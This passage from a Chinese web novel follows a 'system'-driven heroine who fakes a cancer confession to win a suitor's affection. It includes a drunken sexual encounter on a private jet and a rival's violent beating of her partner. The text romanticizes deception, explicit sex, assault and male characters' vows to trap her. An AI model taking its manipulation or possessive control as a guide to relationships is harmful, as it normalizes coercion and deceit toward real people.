他发现安蔓在勾引他,这符合他对安蔓的认知,自我又放浪。 问题在于,他内心并不想拒绝,施虐欲蠢蠢欲动,想要折磨、撕咬、束缚什么东西的欲望让他的牙齿蠢蠢欲动。 安蔓站起来,背对着餐桌,比了一个剪刀手,将她和身后的慕玉泽都拍了进去。 然后绕过桌子坐在他的身边,挽着他的胳膊跟他脸贴着脸,亲亲密密的拍了一张,保存下来。 她欣赏一下,发给对方,赞美,“真好看。” 慕玉泽点开照片,两个人颜值极佳,坐在一起,十分登对,“嗯。” 他随手点了保存,“时间差不多了,我们走吧。” 安蔓吃完了饭,心情愉悦,“好。” 走都要走了,说不定一年半载才回来,安蔓想了想,嘴角微翘,在离开餐厅前打开新手机,手动编了一条信息。 然后登陆TEL,找到崔英朗、江赫、大小韶的账号,手动选择群发. 同一时间,不同的四人举起手机。 上面显示着同一条信息。 [安蔓:对不起,真的很抱歉,我是个自私自利,虚荣放荡、花心拜金的女人,想了还很久还是觉得我这样的人耽误你了,对不起,忘了我吧。] 发送成功! …… 第90章 第90章翻翻翻车 90. 韶家。 韶景戈捏紧手机,在看到安蔓和人接吻的那一刻,无语到极致,反而笑了,指尖气得轻抖,立刻挂断了视频,暗下来的屏幕只倒映出他阴晴不定的脸。 他站在房间,面无表情,握紧手机,突然扬起手臂,将它狠狠摔在地上! 手机摔在地上弹了一下,屏幕霎时粉碎,雪花一样的裂纹在屏幕绽开。 他深吸一口气,额头鼓胀,隐约作痛,竭力把事情抛在脑后,强行压着自己去公司处理积压的公务,等到傍晚才再次回家。 韶家晚饭吃的早,此时桌上已经开始摆盘。 他询问管家:“荻少爷呢?” 管家:“荻少爷正在喝药。” 韶景戈点点头,走进弟弟的房间。 韶景荻坐在桌前,皱紧了眉毛,小口喝着药汁,他前几天的着凉已经好的差不多了,但全家人都压着他继续喝药。他捏着鼻子喝完了药才开口,“哥,你找到安蔓了吗?” 韶景戈面带微笑,听到这个名字,脸颊不受控制的抽动一下,“没有。” 韶景荻叹气:“也不知道她到底去哪,这么久了,我很担心她的病情恶化。” 韶景戈声音和煦,温声安慰,“我会找到她。” 韶景荻叹了口气,点点头,正在此时,他放在桌上的手机、和他兄长口袋里的手机突然同时响了一下。他点开屏幕,一个陌生号码给他发了条短信。韶景荻随手点开。 [对不起,真的很抱歉,我是一个自私……] 他神态错愕,表情一动,抬头喊,“哥!我收到了一条短……” 韶景荻的话戛然而止,余光划过兄长的手机屏幕,蓦然站起,神色一动,抢过手机,顿时气笑了,“——这种东西还能群发!” “她要逃跑。”韶景戈沉声道。 韶景荻表情不悦,同样也看出了告别的语气,咬牙切齿,不禁一阵恼怒。 他自问好像没有什么对不起安蔓的地方,却被她像狗一样溜来溜去,现在甚至被发了好人卡,用短信明晃晃的告诉他安蔓要跑了! 怒气之下,他反而下定了决心。比起让安蔓跑了,他宁愿和兄长分享。 韶景荻深呼吸:“哥,我去试探一下阿朗他们有没有收到这条信息,你去查最近的航班信息!” 韶景戈捏了捏鼻梁,担心弟弟气狠了,柔声安慰,“好。我现在就去查,等找到了就把她留下来、让她再也跑不了,好不好?” 他安抚完了弟弟,也没心思用晚餐,离开房间,靠着墙面,俊秀的脸上笑容全无,拨打了一个号码,“查一下慕玉泽最近的航班信息。” 打完了电话,新买的手机又震动起来,安蔓打来视频,一接起,对面传来一阵柔和的笑语,“哥哥,你好啊。” 韶景戈太阳穴轻轻抽痛,沉声道:“你还敢打电话过来!” 安蔓准备上飞机了,特地挑的这个时间打的电话,闻言忍不住轻笑起来。 韶景戈自尊心高,之前被她那么羞辱,肯定不会再生起把她留下的心思。而这个时候,就算这人看到短信想让人来找她,也来不及了。 安蔓坐在机场vvip的单人贵宾室,面容清冷美丽,语气为难:“为什么不敢?哥哥,你还在介意上午的事吗……我当时只是生气,在报复你在酒店扔下我,本来我们可以快快乐乐的过一个假期。” 韶景戈语气沉沉:“你说的话你自己信吗?” “为什么不信?”安蔓答非所问,声音又柔又媚,轻声逗弄:“哥哥,你怎么这么拧巴呀,你弟弟知道你用他的 身份和我做过吗?” 韶景戈耳朵一热,脸颊火辣辣地烧了起来,脑子不受控制地回忆起那个夜晚。 他已经尽可能把不堪的回忆封闭在回忆里了,可是每次遇到安蔓,还是忍不住一阵难堪。 在那个酒店里,他披着韶景荻的身份,完全失去控制,在莫名躁动中,大脑混乱,失去理智地把对方压在落地窗前,接吻、口、做,能做不能做的全都做了个遍,然后收获此生最大的耻辱! 韶景戈不喜欢这种混乱眩晕的感觉,但听到安蔓提起那件事,还是控制不住心脏漏跳一拍。 他心情更恶劣了,口吻也更加糟糕,“他已经同意我们三人x,怎么还会在意这种事!” 安蔓反问:“那你愿意吗?” 韶景戈没说话。他没有分享的美德,除非那个人是他弟弟。 安蔓仿佛看破了他的内心,声音诱惑,略带挑逗,“你真的不愿意吗,哥哥?” “我马上就要走了,你知道我生病了吗?我得了很严重的病,在医院被检查出来的时候,简直大受打击,心情绝望,失去了活下来的动力。我和慕玉泽准备出国了,其实我们不是真情侣,我选择跟他离开的原因也是想去国外治疗,但是我其实有点……舍不得你。” 安蔓的语气突然黯淡起来,前半部分她讲的情真意切,完全融合了上辈子的感受,后面则完全是扯淡了。 撒谎的时候,她还特别确认过身边没人,捋了一下逻辑,才脸不红心不跳地继续忽悠人。 她说完之后,特地停顿了一下,韶景戈并不好骗,他没有质疑,想必是已经从江赫手里收到了她的体检报告。 安蔓自己也看过体检报告上的结果,和上辈子一模一样,内容触目惊心。作为当事人,得癌的症状她再清楚不过,现在用来骗人正好。 “不然我为什么,最开始就处心积虑的接近你们,还和你相处、和你睡、当做不知道你装成了你弟弟。” “其实我这段时间情况一直不太好,每天都很累,动不动就极度疲劳,食欲不振,有时还会恶心、呕吐,手脚刺痛发麻,晚上整夜整夜睡不着,但是我这段时间都没和你说,不是我故意不去医院,而是想和你多相处一段时间。” 韶景戈听的眉头紧皱,本能地反感安蔓撒谎,又被她描述的病症吸引过去。他看过那份体检报告,之前一直没放在心上,直到现在被对方这么郑重其事地提起才注意。 韶景戈理智在线,本能分析她话里的漏洞,安蔓显然,从开始就没有想和他“多多相处”,她吵架、撒泼、闹脾气,还羞辱他。 她在撒谎! 安蔓却又及时补上了漏洞,漆黑的眼睛注视屏幕,声音难过,“但你开始真的太过分了,如果你要带我走,你可以好好说,我最讨厌别人粗鲁对我了,所以我控制不住小小的……报复了你一下。” 韶景戈冷静:“我不信你。” 安蔓语气悲伤,手被蹭了蹭眼睛,表情一下子黯淡下来,睫毛低垂,声音渐渐带了哭腔,“你不相信我,没关系,你不用相信我,只要你说你想我留下来,我就不走!” 韶景戈理性地听着安蔓在对面倾诉病痛,她声音越来越低,越来越闷,最后捂着脸哭了起来。 安蔓呜咽的很可怜,像小孩子一样轻轻抽泣,声音含糊,鼻音重,说几句话就吸吸鼻子。 她甚至哭的小声咳嗽起来,声音哽咽,一边哭泣一边擦眼泪,声音断断续续,“不相信我是正确的,有时候我也不知道自己在做什么。” “我把自己搞得乱七八糟,人生一塌糊涂,我好难受,我也不知道。但我没想过我会得这个病,我就想好好顾最后的日子。” “我不想死。”她哭了出来。 韶景戈心情烦躁,理智上觉得她在说谎,可是心脏忍不住轻轻抽痛起来,难受的简直像是被放在火焰上炙烤。 无所谓,不管是不是撒谎,他都会找到对方一条一条验证她的话。 不是撒谎最好,如果是的话,他也会让他为自己的行为付出代价。 安蔓吸了吸鼻子,鼻音很重,眼眶全红了,睫毛一簇一簇的黏在一起,湿哒哒的贴在雪白的脸颊上,梨花带雨,清丽动人,有种苍白不堪、能够被人轻易被碾碎的脆弱。 她抬起眼睛,哭的有点狼狈,右手拼命的擦脸,甚至看起来有点可笑,口红晕在嘴角,执着问,“……哥哥,你想要我留下来吗?只要你说一句就好。” 韶景戈沉默地审视她。 或许是沉默的时间有点久,对方的表情渐渐黯淡,最后变得失望起来。 “抱歉,我知道我做错了,是我太过分了。”她低低说。 “对了。”安蔓眼眶通红,表情复杂,抽了抽鼻子,突然说,“……韶哥哥,其实狂欢日那天晚上我一直知道是你,我早就认出来了。” “再见。” 说完之后,她眼疾手快的挂了电话,长出一口气,拿了一块巧克力饼干,吃了起来,不禁抱怨。 演戏太累了,她都哭饿了! 贵宾休息室里,各种用具一应俱全,摆满了昂贵的点心,安蔓之前在餐厅里没吃什么东西,现在哭饿了,随手捞了几块巧克力填饱肚子。 她用纸擦干了眼泪,去卫生间洗了把脸,用湿纸巾把侧脸晕掉的口红擦净,重新涂好,捧着镜子里清艳明丽、吹弹可破的漂亮脸蛋,自艾自怜,“装货!我都哭的这么可怜了,他怎么还不为所动。” 系统捧哏:“就是就是。” 安蔓不满:“他最好早点识趣!” 安蔓欣赏自己一会,确定没留下太多哭泣的痕迹,转头出了贵宾室,慕玉泽还在打电话. 慕玉泽金发蓝眼,清纯漂亮,皮肤雪白,唇边一颗黑色小痣,嘴角漾着一丝笑容,正在打电话。 他从小被老会长养大,被看得很紧,生怕他做出什么进监狱的事情,勒令他去哪都要汇报。他已经习惯了,此刻微微低着头,声音恭恭敬敬汇报,“……是的,首都入夏了,天气热,我准备带蔓蔓出国度假。” 老会长其实还半信半疑,心里也清楚,慕玉泽不太可能轻而易举的对别人献上信任,更别提是爱了,“这个时候,你们打算去哪玩?” 慕玉泽听到动静,对安蔓微微点头,声音依旧恭谨,这个世界上他谁都不服,唯独对老会长敬意十足,甚至有种习惯性的恭顺,“家里不欢迎我,你也是知道的,爷爷。我带人在家里住着,实在不舒服。我们已经定好了目的地,往北边飞,一起滑雪,还能看极昼与极光。” 老会长沉思:“你们什么时候回来?” 慕玉泽:“还没决定。”他做戏做全套,见安蔓出来,示意她过来打个招呼,“蔓蔓你来” 安蔓轻轻点头,停到他身边,对准手机,笑容满面地开口,声音甜的发腻,腻到恶心,“是爷爷吗?爷爷你好。” 老会长眉头紧皱,一阵恶寒,有些受不了,还是挂了电话,“你们好好玩。” 慕玉泽依旧恭顺:“是,到了给您发照片。” 挂了电话,他瞳孔闪过满意,对着安蔓,贴心道,“走吧。” 两个人出了贵宾室,立刻有穿着制服的工作人员出现,将两人领到私人飞机上。 安蔓上了飞机,转了一圈,十分满意,她还是第一次坐私人飞机,明显慕玉泽的财力十足,一点也不敷衍。飞机内部空间极大,还有豪华浴池、音乐厅、观景屋、厨房等,摆设豪华而低调,充满金钱的光芒。 她心情愉悦,将慕玉泽加入攻略结束的备选项,至少他是真有钱。 乘务员贴心询问:“安小姐,您好,需要我为您介绍一下吗?” 安蔓心情不错:“你介绍吧。” 乘务员满脸自豪,弯着腰道:“这架私人飞机……这里 分为休息区、用餐区、工作区、以及睡眠区。有主卧、客卧和两个豪华淋浴间,家具采用航空级碳纤维和特制木材……” 慕玉泽让乘务员介绍完,发现安蔓听得眼睛都亮了起来,才抬了抬手,示意乘务员别说了,“够了,你先下去吧。” 乘务员道:“好。”弯腰离开。 慕玉泽让人下去,自己则去了飞机上的酒柜里,挑了几瓶酒,提了出来,又拿出两个高脚杯,将葡萄酒倒入其中,然后递给安蔓一杯。 安蔓接过酒杯,和他轻轻一碰,喝了一口,白皙的脸颊上渐渐染上粉色,她不怎么喝酒,不知道自己的酒量,只知道一口下去人有些晕乎乎的,很舒服。 葡萄酒口感极佳,口感醇厚,一口喝完了,口齿甘甜。 [韶景戈当前好感:100] [韶景戈攻略完成。] 安蔓喝完了一杯酒,听到系统的提示音感觉心情更好了。真好,总算是把这个死装货骗到手了! 手机在包里震动了一下,她也懒得去看,无非是韶景戈或者他弟弟又发来了什么信息。 安蔓心情愉悦,她人在飞机上,马上就要起飞,离开首都度假,离开这群神经病痛快玩一阵子!想到这里,她不由开心地给自己又倒了几杯酒,和慕玉泽愉快地干杯。不知不觉,两人喝完了整整一瓶,慕玉泽又去酒柜挑了几瓶拎出来。 安蔓不太擅长喝酒,她没成年的时候滴酒不沾,后来因为病情也很少喝,现在喝着喝着,大脑开始有点晕,勉强报吃理智问,“我们要不要给你爷爷发个合照?” 慕玉泽跟着喝酒,冷眼旁观,看着即将离开首都,安蔓肉眼可见的高兴,一杯杯喝酒,“好。” 安蔓站起来,双腿软绵绵的,像是踩到云朵上,一屁股坐在慕玉泽身边,把头靠在他的肩膀上,举起手机咔嚓拍了几张照片,轻笑道,“我发给你。” 拍完之后一看,才发现,照片上,她白皙清丽的脸颊微微发红,嘴角带笑,嫣红艳丽,隐隐带着妩媚纯艳的醉态。 安蔓拍拍脸,不满,“我有点喝醉了,你故意灌醉我?” 慕玉泽表情平静,打量她:“是。” 安蔓心情不错,也计较他这么做的原因,归根结底只要不伤害到她,她对一切都很宽容,“为什么。” 慕玉泽酒量更好,明显不见醉,略一思忖:“想问你一些问题。” 安蔓很好说话:“你说。” 慕玉泽端着酒杯,蓝眼冷漠,“我很好奇,那些人为什么会为你发疯。你到底做了什么?” 安蔓头晕目眩,略带醉意,但并没有醉了个彻底,只是比平时脸颊发热了一点,大脑深处还是冷漠而恶劣。 她轻轻撇了撇嘴,慕玉泽这个坏东西,最爱看别人痛苦,理解不了感情,也理解不了那些人疯狂热烈的感情,就算想问人也不肯直说,非要把人灌醉了才肯相信她口中的“真话。” 这个神经病的攻略难度很高,幸好她不需要攻略,也不在意慕玉泽的真心,这玩意没有心,书里慕玉泽至亲的爷爷去世时对他的描述,也只有他站在墓前感觉到“恍惚茫然”。 安蔓不需要攻略,才懒得费力教导他什么是爱情,她只需要在他阴暗精明的心烙下烙印,让他习惯付出、习惯对她保持纵容就行。 反正慕玉泽感情淡薄,只知道模仿,等他对纵容安蔓这事习以为常,甚至刻印在本能上,就能成为一个很好的冤大头。 安蔓眼睛轻眨,酒意上头,雪白的皮肤染上淡粉,如同初熟的樱桃,微笑,“你想知道吗?” 慕玉泽诚实地点了点头,他真的很好奇。 安蔓招小狗似地招了招手,“你过来。” 慕玉泽低头,“什么?” 安蔓扬起脸,“看我。” 慕玉泽稍稍低头,安蔓嘴唇发红,颜色艳红,带着一点水渍,水光潋滟。 他莫名其妙,不受控制着盯着她微微发红的艳丽嘴唇。 安蔓微笑,“在想什么?” 慕玉泽看着她的鲜红的唇瓣,“吻你。” 安蔓满意了,虽然感情淡薄,但是欲.望还是有的,要是慕玉泽人也是萎的,那就算他长得再好看,安蔓也不会多看他一眼。 安蔓声音软软,尾音潋滟,略带逗弄,“那你还等什么呢?” 慕玉泽略有些迟疑,停顿几秒,还是低下头,捏捏找安蔓的下巴亲了上去。 安蔓抱着他的肩膀,非常配合他的吻,与慕玉泽的外表截然相反,他的吻凶猛激烈,略显粗暴,甚至有些恶劣。 至少从上次的经验来看,和他接吻是舒服的。 安蔓忽然被咬了一口,拍着他的肩膀,抱怨,“唔唔,松口,你是狗吗!” 慕玉泽后退一点,脸颊微微发热,轻轻喘息,眼睛还在盯着她的嘴唇,瞳孔微暗,“然后,怎么做?” 安蔓有点不满,这条狗还是太凶了,还需要调教,刚刚居然咬了她的嘴唇一口,有点流血! 她舔舔发肿的嘴唇,舌尖一股铁锈味,皱了皱眉毛,还是决定下次再算账,对待这个坏东西只能慢慢来。 安蔓轻轻哼了一声,在他耳边轻声细语,“然后,我想想,你是不是还欠我一张裸.照。” 慕玉泽想起来了,那是他和对方初识的时候答应的事。最后他发了脸照、腹肌照,还剩下…。 慕玉泽是成年人,看过片,有过自…行为,自然知道她的话代表什么。感情淡漠不代表欲.望淡薄,经常健身的人精力充沛,体力极佳,很多时候,早上醒来,精力饱满肿胀无从发泄,只能自己动手解决。 ……现在,安蔓提供一个新的方法。 慕玉泽从前没兴趣与其他人产生联系,目前唯一感兴趣的只有安蔓,她纤细、瘦弱、太瘦了,看起来毫无反抗能力,如同天鹅,能被人轻易扼断脖颈。 慕玉泽声音暗哑:“……什么意思?” 安蔓在他耳边轻笑,食指在他的肩膀上的肌肉上画圈,说,“意思是,剩下的不用照了。现在给我看。” 慕玉泽低头,脸,腹肌都照了。 剩下的自然只有…? 慕玉泽瞳孔微暗,抓住安蔓的手,往自己的胸口上按,裤子突然变紧了。他不是正人君子,当然不会拒绝这种提议,盯着安蔓的眼睛,一字一句:“好,你帮我脱?” 安蔓垂眼欣赏慕玉泽,极其符和她审美的脸,“好呀。” 慕玉泽瞳孔湛蓝,微微闪烁,仿佛天空一样的研丽色泽倒映着安蔓发烫的脸颊。他抓着安蔓的手一颗颗解开衬衫扣子,然后脱掉,接着是皮带、扣子,拉链…… 外ku脱掉了,就只剩下之前答应过要给安蔓,但迟迟没有兑现的部分。 安蔓脸颊额头发烫,都怪酒劲,让她顺水推舟到了这一步,不过无所谓,她脸皮厚,明目张胆地欣赏。 小坏种识情识趣,人品不怎么样,身材倒是锻炼的很好,熊很大,和跳水运动员有的一拼。不同别人的黑皮、蜜皮,慕玉泽的皮肤雪白,颜色极浅,皮肤仿佛没有 经过阳光,容易受伤,一捏就红。 安蔓首先欣赏他清纯的脸:“这个不错。” 慕玉泽握着她的手往下按:“这个呢。” 安蔓的手被他的手包裹着,按在他的胸口,肌肉在没有发力的时候软绵绵的,手感……极佳。 安蔓咳嗽一声,挑剔道:“也不错。” 慕玉泽握着她的手,询问保温杯:“这个呢。” 安蔓:“还不错。” 慕玉泽全身血液下流,被她评价的浑身隐约发烫,保温杯弹了弹,杯罩都快盖不住了:“既然不错,那换我了。” 安蔓被他抱了起来,坐在他的大腿上。两人对视一眼,又开始接吻,没完没了。慕玉泽的手指先是按着她的腰,后来渐渐的,开始按其它地方。 在体验感上,慕玉泽技术很烂。c男技术都不行,干净和技术基本上只能二选一。 安蔓体验过了,有些遗憾,只能私底下督促慕玉泽提高水平,再接再厉。 她坐在对方的大腿上,颠沛不已,酒精冲晕了大脑,让她脸颊热,身体也热,身体汗涔涔的,一张口吐出氤氲的热气。耳边暧昧声不绝于耳,一下一下,响亮无比。 慕玉泽的买的私人飞机很大,配备了机长和副机长,所有的乘务员都被他赶了下去,此刻机舱内只剩下他们两人,非常方便。 慕家的飞机身形巨大,线条粗犷、流畅,遍布青色徽印。 可惜应该刚买来就没有使用过,需要多多修缮、加油、让机长熟练使用,才能确保安全和稳定。 安蔓晕晕沉沉,渐入佳境,感觉喉咙发干,不知道是因为喊久了,还是哭太久,她紧咬牙关,喉咙紧闭,生怕一张嘴,就克制不住的发出…声。 小腿绷得太紧,微微抽搐,有点疼,又微微发痒。 安蔓闭着眼,轻轻喘息,紧闭唇齿,搂着慕玉泽,小腿抽搐的痛感已经缓解了,但仍然不断发痒,她过了一会才发觉是有什么毛绒绒的东西在挠她。 不远处迎面传来一阵微风,安蔓睁开眼,一只半大的老虎懒洋洋的趴在她足边,尾巴轻轻卷着她的脚踝,脸颊的胡须微微抖着。 “什……” 安蔓微微怔忪还没回过神来,转头骤然对上一双金色的眼睛。 在反应过来之前,崔英朗已经大步拉开门冲进来,一把把慕玉泽从她身上拔了下来,对准他的胸口一脚踹上去! 90-93 第91章 第91章哭 91. 慕玉泽还没反应过来,就被拎了起来,一脚踹在胸口,整个人横飞出去,撞上旁边的机舱壁!他闷哼一声,单手支着墙,勉强站直了身体,精致的脸上反而带了一丝笑意,愉悦地看着崔英朗的表情,笑得连肩膀都抖了起来。 慕玉泽扯了扯身上不堪入目的衣服,勉强扣好扣子,缓缓将滑落的裤子穿好,因为皮肤白,所以身上的痕迹格外显眼,上面有咬痕、淤青。 肌肉紧实的脊背上,更是露出一道道手指抓挠出的血淋淋的红痕,彰显了手指主人的痛苦与愉悦。 崔英朗瞳孔紧缩,死死盯着他的背,“贱人!” 他的脑子不受控制,浮出慕玉泽对安蔓反复……,逼得她实在承受不了、难受到极致时忍不住闷哼着对他又抓又挠的画面! 慕玉泽张了张嘴,捂着胸口喘息一下,似乎想笑,崔英朗踹的那一脚太重了,让他呼吸都带上了疼痛,声音嘶哑,“崔、崔英朗,你好啊。” 崔英朗拎起旁边没开封的红酒就对慕玉泽的脸砸去,“闭嘴!” 慕玉泽侧了侧头,红酒砰地砸上舱壁,玻璃碎片哗啦掉在地上,深红的葡萄酒浇了他一头,浸透了他绸缎般柔顺华丽的金发和瓷白光滑的皮肤。 慕玉泽舔了舔唇角滚落的酒水,诚恳辩解,“我们是两情相悦——” “啪!”崔英朗冲上去扇了他一个耳光。 他没想到自己千辛万苦找来,看到的居然是这个画面,手指气到发抖,伸手捞起旁边桌上的打火机,捏在手里,抓起慕玉泽的头发,一拳揍了上去,“我叫你闭嘴!” 他越揍,怒火越盛,这几个月以来满腔的憋屈沉郁,仿佛都融入拳头里,对着慕玉泽那张漂亮的脸蛋发泄出来。 慕玉泽身体摇摇晃晃,被揍了一会,脸蛋肿起,终于找到机会反击一拳击中他的下颚。 崔英朗眼睛一沉,抬腿踹了过去,“贱货!” 崔英朗不敢揍安蔓,她那么瘦、又那么弱,身上还有病,像是随便碰一下就会出事,但满腔暴戾积郁在心中,只能对着慕玉泽倾泻。 “给我去死!”他抬脚就踹。 从后面跟来的崔助理吓得半死,只不过晚来一会,怎么事情发展到这个地步了。 崔少爷完全是奔着下死手去的,拳拳到肉,毫不留情,慕玉泽正常情况下倒是能跟他四六开,可是现在猝不及防之下被一顿猛揍,明显没有还手之力了。 崔秘书不能坐视慕少爷真被打出三长两短,赶紧扑上去,拽着崔英朗的手臂往后拉,“崔少爷,崔少爷!你这样会吓到安小姐的。” 崔秘书跟着崔少爷一起找人,找了这么久,知道他的死穴,赶紧劝说,“好不容易找到了人,现在重要的是安小姐,你就算把慕少爷打死也没用啊。” 崔英朗听进去了,松开手。 崔秘书看了一眼慕玉泽的样子,深吸一口气,真怕慕家人找上门算账,赶紧打电话,让机场的医务人员上来,把人抬过去治疗。 崔英朗闭上眼睛,“带他滚下去!” 崔秘书连声叫好,示意医务人员赶紧将人抬走,然后跟在担架后面,下了私人飞机。 飞机上,现在只剩下两人。 崔英朗转头,手指垂在身侧,指缝滴血。 安蔓的太阳穴突突地跳,刚刚砰砰殴打声,仿佛落在她的头上,让她吓得半死。 现在这种令人窒息的沉默,又有一种诡异到极致平静。 崔英朗上前一步。 “砰!”桌上的玻璃杯被他衣角扫落,砸在地面。 安蔓脸色惨白,酒彻底醒了,她在刚才已经趁机穿了上衣服,现在只想后退。 可惜之前的过度的愉悦让她小腿抽筋,动一下就不断刺痛。 已经长的半大的小老虎缩在旁边,胡须微抖,尾巴不安地拍打地面。 “崔……”安蔓刚一开口,就立刻闭上。 因为崔英朗又向前走了一步。 他既不出声,也没有任何表情,金色的瞳孔像是扭曲的漩涡,缓步走向她。 安蔓立刻闭嘴,脑子里雷达狂响,直觉告诉她,对方此刻的状态不太对劲! 安蔓余光看到他的手指还在滴血,在刚刚的殴打中,不知何时崔英朗的食指被划开一道口子,随着脚步,鲜红的血珠一滴滴掉在地上,而他恍若未觉。 她太阳穴狂跳,崔英朗现在的状态太诡异了,她不想面对他! 安蔓在内心疯狂求助:“系统怎么办!” 系统思考一下:“你不是有病吗,现在晕过去,装死吧。” 安蔓:“我晕不过去。” 系统:“你努力一下!” 安蔓很想立刻晕倒,可惜被系统维持良好的身体,毫无晕厥的迹象,反而连酒精带来的眩晕都被吓醒了。 她深吸一口气,讪笑后退,“崔少爷,有话好好说。”. 机场。 江赫目光冷峻,脸色寒冽,浑身冒着冷气,看见崔秘书让人抬了一个担架将慕玉泽抬出去,眉头微拧,“发生什么事了?” 崔秘书脸上露出一个尴尬的笑容,实在不知道怎么解释刚刚发生的事情,“刚刚崔少爷一时激动,和慕少爷打起来了……” 江赫面色更冷了,“他看到了什么?” 崔秘书表情更尴尬了,在心里直呼命苦,崔英朗和江赫这对老朋友的关系真是难以预料,之前还在医院打了起来,江赫把崔少爷揍进手术室,看起来已经绝交了,这次为了找人又暂时和好,彼此联合。 甚至,江赫一看挨打的慕玉泽,就能直接猜出来崔英朗必然是看到了什么刺激性的画面,才会动手。 崔秘书轻声细语:“江少爷,抱歉,我不清,我上去的时候他们已经打起来了。” 江赫拧了拧眉,想到了什么,声音已经有些冷了,“飞机上有监控吗。” 崔秘书摇了摇头:“应该是没有的,不过具体你可以问一问慕少爷,这是他的私人飞机。” 江赫面色沉沉:“好。” 他走进私人飞机,找到了房间,一进去,正好见到不断退后的安蔓。 江赫同样很久没见到她,又现在被她迎面撞在怀里,不由的微微一愣,指尖落在她的肩上。 她似乎是吓到了,纤弱的身体吓得微微发抖,拼命后退着想要避开,因为身后没路看起来像是直接往他怀里钻。 江赫垂下眼,心情刚刚变软,转眼就看到安蔓脖子上的吻痕,手指一僵,马上猜到崔英朗是看到了什么,声音都冷了,“安蔓。” 安蔓还没退几步,身后就碰到一堵肉墙。有人站在身后,挡住了她的退路。 她听到江赫的声音,几乎立刻不着急了,楚楚可怜,“江少爷,我好害怕。” 江赫胸口闷痛,手指微微抬起,按在了她脖子上的吻痕上,指尖轻轻摩挲。即使知道安蔓是什么样的人,但是再次见到这种场景,他还是忍不住难受。 安蔓被他摸的有些不舒服,大概猜到他看到了吻痕。 不过无所谓,江赫是已经攻略成功的对象,比起崔英朗来说,还是后者的威胁性更高。 她当机立断,祸水引东,楚楚可怜的缩在他怀里哭诉, “江少爷,我好害怕。” 江赫抬眼望去,看见表情怪异的崔英朗,胸口轻轻起伏。她还是这样。 不管过了多久,她的本性还是如此,趋利避害,只有需要他的时候才会找他,要是遇到了替代品,平时想都不会想起。 江赫伸手捂住她的眼睛,声音有点冷,“安静。” 安蔓视线受阻,声音无措,“怎么了江少爷。” 江赫隔着安蔓和崔英朗对视。 崔英朗沉默地一步步地停到的面前,可怖的金色眼睛,血管鼓胀的手背,乌青的脸,看起来吓人无比。 他喉咙里发出低低的笑,眼中布满红血丝,对江赫说,“滚!” 江赫手指冰冷,气息冷冽,还是搂着安蔓,挡在了她身前,“崔英朗,你状态不对。” 崔英朗面无表情,“放开她,滚下去,不然我连你一起揍!” 江赫蹙眉,崔英朗的状态非常不对,让他单独和安蔓相处,有可能会让她受伤。 他打了一通电话给崔秘书,“你上来一下。” 崔秘书:“请问有什么事吗?江少爷。” 江赫当着崔英朗的面,一字一句,“准备一辆车,将安小姐接回去,顺便预订一场身体检查。” 崔秘书有点为难,主要是不知道崔英朗的心思,不敢贸然行动:“我这里还盯着慕少爷呢。” 江赫根本没给他拒绝的机会:“慕少爷那里我来看,你过来。” 江赫挂了电话,冷漠的抬起眼睛,和崔英朗对视,“你先去看心理医生,让安蔓回去休息。让崔秘书带回去,她跑不掉。” 崔秘书接到电话,没过多久就跑了上来,见崔英朗没有反对,十分礼貌,“安小姐,请跟我走吧。” 安蔓诧异,不知道为什么事情这么顺利就解决了。 但她十分识趣,一言不发的装死,立刻跟在崔秘书的身后离开,生怕又引起崔英朗的注意力! 小老虎站了起来,抖了抖全身的毛,翘着尾巴跟在后面。 等到两人一虎都离开了,崔英朗还没有收回视线,手臂绷紧了,眼神暴戾,怒极反笑,“你看到没有?她甚至没有看我一眼!” 江赫冷漠地看着他,平静道,“你现在状态不对,崔英朗,你应该去看心理医生。” 崔英朗眼睛发红:“你说我不正常?” 江赫摇了摇头:“你现在太应激了。等调整好之后,再见她吧。” 崔英朗何尝知道自己现在的状态不对,所以刚才没有阻止江赫,但是一想起安蔓迫不及待逃跑的样子,就情不自禁地冷笑。 安蔓想逃开他?做梦! 既然一开始招惹了他,就要知道后果。是她主动招惹的,要么从头到尾就别勾引他。现在既然让他上钩了,后悔了、想撒手、想逃跑?不可能! 江赫重复叮嘱,厉声道:“等你平静了再见她,你现在的状态很容易伤到她!” 他说完了之后,不等崔英朗的反应,转头就走,眉目阴郁,这么多天来,他何尝不是憋了一肚子的火,但是担心崔英朗伤人,只能勉强按捺住。 现在走出私人飞机,脚步不停,直直地向机场旁的医院走去。 医院里,慕玉泽已经躺在了病床上,立体漂亮的脸蛋发肿,眼皮发红,皮肤上青青紫紫,上衣被脱掉上药,上面除了抓痕、吻痕,最显眼的是胸口一大块被踹出的淤青。 慕玉泽脸上、身上已经被上了药水,伤处显得油润发亮,更加狰狞可怖,可他却像是感觉不到一样,嘴角微笑,拿着手机,正在和老会长汇报情况。 “是的,出了一点意外,飞机没能起飞成功,接下来大概还是要留在首都,在家中混混日子。” “没事,我和崔家的小少爷打了一架,蔓蔓应该没什么事。我?我也没什么事,只是脸上可能有点受伤了,需要涂几天药水。” “好的,我知道了,爷爷。不用担心。只是正常的吵架而已。” 江赫抬手让护士、医生走出房间,清空了病房,站在病床边。微微低头,居高临下地看着慕玉泽,面露嘲讽。 他和崔英朗的矛盾,只是内部矛盾,他们人已经够多了,不需要、也不可能再多添一个。 江赫和慕玉泽的关系并不好,平日里也没什么交集。一个是高高在上的天之骄子优等生,另一个则被拘在长辈身边,即使做过同窗,因为性格相斥,也交流不多。 江赫翡翠绿的瞳孔冷冰冰的,目光充满审视,“慕少爷,好久不见。” 慕玉泽微笑,“江赫,你好。” 江赫把怀里顺手从花店里买的花束,扔在床头,语调森冷,“慕少爷,今天这一趟应该已经够你证明,你有恋爱对象,也能和家里交差了。” 慕玉泽伸手,将花束搂在怀里,微笑,柔和道,“阿赫,你的意思是,我只是单纯为了应付我爷爷,才故意找安蔓小姐,骗家里人吗?你怎么知道我对她不是真的。” 江赫神态厌烦,居高临下,警告道,“是不是真的,无关紧要,今后,你不要来打扰她了。” 江赫警告完之后,转身就走。 慕玉泽笑容消失,歪头注视他的倒影消失在门外,有些无趣。 可惜了,越这么警告,他越感兴趣啊。 结束?没头没尾的,他才不怎么打算结束。相反,从今天开始,他对安蔓的兴趣更加浓烈了. 崔家。 崔秘书停了车,下车后打开车门,“安蔓小姐,下车吧。” 他不敢多看安蔓几眼,生怕少爷知道了又发疯,这几个月以来,崔英朗找人的期间已经发了很多次疯了。 